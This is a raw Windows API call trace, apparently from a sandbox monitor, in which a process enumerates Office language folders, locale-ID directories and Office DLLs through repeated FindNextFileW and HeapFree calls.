	[0080.095] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0080.099] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.099] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0080.105] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.105] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Interop.MSDASC.dll", cAlternateFileName="INTERO~1.DLL")) returned 1
	[0080.512] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.512] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0080.539] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.539] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0080.541] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.541] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0080.543] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.543] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0080.545] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.545] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0080.548] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.548] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x164c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MDXQueryGenerator.DLL", cAlternateFileName="MDXQUE~1.DLL")) returned 1
	[0080.551] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.551] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0080.553] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.553] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0080.555] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.555] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1
	[0080.557] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.557] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.dll", cAlternateFileName="POWERP~1.DLL")) returned 1
	[0080.850] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.850] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0080.859] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.859] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.dll", cAlternateFileName="REPORT~1.DLL")) returned 1
	[0080.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.863] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1026", cAlternateFileName="")) returned 1
	[0080.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.863] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10266", cAlternateFileName="")) returned 1
	[0080.864] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.864] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1027", cAlternateFileName="")) returned 1
	[0080.865] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.865] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1028", cAlternateFileName="")) returned 1
	[0080.866] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.866] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1029", cAlternateFileName="")) returned 1
	[0080.868] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.868] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1030", cAlternateFileName="")) returned 1
	[0080.869] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.869] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1031", cAlternateFileName="")) returned 1
	[0080.871] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.871] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1032", cAlternateFileName="")) returned 1
	[0080.873] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.873] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1
	[0080.874] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.874] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1035", cAlternateFileName="")) returned 1
	[0080.875] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.875] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1
	[0080.876] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.876] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1037", cAlternateFileName="")) returned 1
	[0080.877] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.877] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1038", cAlternateFileName="")) returned 1
	[0080.880] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.880] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1040", cAlternateFileName="")) returned 1
	[0080.881] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.881] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1041", cAlternateFileName="")) returned 1
	[0080.882] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.882] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1042", cAlternateFileName="")) returned 1
	[0080.883] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.883] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1043", cAlternateFileName="")) returned 1
	[0080.884] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.884] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1
	[0080.892] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.892] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1
	[0080.892] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.892] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1
	[0080.893] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.893] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1
	[0080.894] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.894] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1
	[0080.895] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.895] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1
	[0080.896] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0080.896] FindNextFileW (in: hFindFile=0x31213d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1
	[0080.897] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
